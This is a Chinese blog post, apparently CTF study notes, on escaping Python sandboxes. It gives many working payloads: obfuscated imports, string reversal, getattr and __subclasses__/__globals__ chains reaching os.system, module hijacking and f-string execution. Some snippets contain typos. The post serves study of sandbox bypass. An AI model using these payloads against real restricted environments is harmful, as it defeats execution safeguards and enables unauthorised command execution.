沙箱逃逸

发布时间 2023-08-10 13:07:51作者: Solitude0c

沙箱逃逸


概述

沙箱逃逸就是在在一个严格限制的python环境中,通过绕过限制和过滤达到执行更高权限,甚至getshell的过程。

在此之前我有点搞混flask框架的SSTI注入绕过和沙箱逃逸这俩东西了

  • 沙箱指的的限制代码执行的环境,以获取越权访问或执行危险操作的能力。沙箱逃逸是一种与沙箱环境相关的问题,攻击者通过利用沙箱中的缺陷或漏洞来绕过限制,从而实现未授权操作。

  • SSTI绕过则是由于不正确地处理用户提供的模版输入,导致恶意代码被执行

  • 沙箱逃逸更关注于绕过整个python环境的限制;而SSTI则是特定于Web应用程序的问题

  • 言而总之,总而言之,两者都涉及执行恶意代码,但沙箱逃逸玩的更花???

执行命令的模块

os
pty
subprocess
plarform
commands

常用的文件读取模块

file      #只在python2中执行
open
codecs
fileinput

函数导入限制和绕过

花式import

直接进制导入敏感的包,比如

import re,sys
pattern  = re.compile('import\s+(os|subprocess)')
match = re.search(pattern,sys.args[1])
if match:
    print "forbidden module import detected"
    raise Exception

这种简单的限制不能导入包,可以中间添加空格来绕过,或者使用其他方式导入包,比如

  • 利用__import__函数
f = __import__("pbzznaqf".decode('rot_13'))
print(f.getoutput('ifconfig'))

#import使用了ROT13解码,将"pbzznaqf"进行了解密,"pbzznaqf"经过ROT13解码后为"commands"。
__import__("pbzznaqf".decode('rot_13'))语句会导入名为"commands"的模块
f.getoutput('ifconfig')是调用了commands模块中的getoutput()函数,并传递了字符串"ifconfig"作为参数。
  • 使用importlib
imoprt importlib
#导入foo.py模块
foo = importlib.import_module('foo')
foo.main()

import的本质就是执行一遍导入的库,这个过程实际上可以用execfile来代替:

  • execfile,前提是得知道对应的路径(2.x才能用)
execfile('/usr/lib/python2.7/os.py')
system('ls')

#3.x 删了 execfile,不过可以这样:
with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())
system('ls')

一般情况下库都是默认路径,如果sysy没被干掉,还可以确认一下:

import sys
print(sys.path)
  • __builtin__模块:可以通过reload(__builtin__)得到完整的模块(3.x是builtins),reload被删:
import imp
imp.reload(__builtin__)

  • os从sys.modules中删掉之后
import sys
sys.modules['os']='/usr/lib/python2.7/os.py'  #python中os的默认路径
import os
  • sys,os,reload全部被删,execfile,前提是得知道对应的路径(2.x才能用)
execfile('/usr/lib/python2.7/os.py')
system('ls')

#3.x 删了 execfile,不过可以这样:
with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())
system('ls')

除此之外还有一些编码

花式处理字符串

  • 拼接
b = 'o'
a = 's'
__import__(a+b).system('ls')
  • 翻转
__import__('so'[::-1]).system('ls')
exec(')"sl"(metsys.so ;so tropmi'[::-1]
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
  • 通过getattr拿到对象的方法、属性:
import os
getattr(os, 'metsys'[::-1])('whoami')
# 或
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

通过继承关系逃逸

理解一下,通过继承关系逃逸就是,想要执行os,有一个site库里有,我们可以通过调用这个库来调用os

mro方法就是这个类型所继承的父类的列表

  • site库里的os
import site
site.os
<module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'>
  • 利用reload,变相加载os
import site

os = reload(site.os)
os.system('whoami')
  • __subclasses__子类
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']


#2.x 的site._Printer为例
  • warnings.catch_warnings中_module属性:
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')

小结:总的来说都是先通过属性/方法,如__class____mro____subclasses____bases__来获取object,再通过__global__找引入的__builtins__或者eval等能够直接被利用的库

文件读写

  • file(2.x内建)
file('key', 'w').write('hangshuai')
  • open(2.x 与 3.x 通用)
  • codecs模块
import codecs
codecs.open('test.txt').read()
  • 还有一些库,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。

    如果能写,可以将类似的文件保存为math.py,然后 import 进来:

import os

print(os.system('whoami'))
import math

需要注意的是,py文件命名尽量选用常用的标准库

其他

  • 过滤[],将[]的功能用pop__getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0)
  • 新特性:PEP 498 引入了 f-string,在 3.6 开始出现,船新版本:

f'{__import__("os").system("whoami")}'

  • 字符串格式化:

%操作符

name = "aaa"
'%s' %name
'aaa'

string.Template

from string import Template
name = 'aaa'
tem = Template('$name')
tem.substitute(name=name)
'aaa'

format

python2.6后引用的格式化字符串的函数

name = 'aaa'
'{}'.format(name)
'aaa'

上面提到的f-String也算一种字符串格式化

  • dir__dict__:列出一个模组/类/对象 下面 所有的属性和函数

  • exec command in _global:由于exec运行在自定义的全局命名空间里,会处于受限执行模式,exec加上定制的globals会使得沙箱安全很多,一些常规的payload是没法使用的

  • 但由于exec运行在特定的命名空间里,可以通过其他命名空间里的 __builtins__,比如types库,来执行任意命令:

    getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')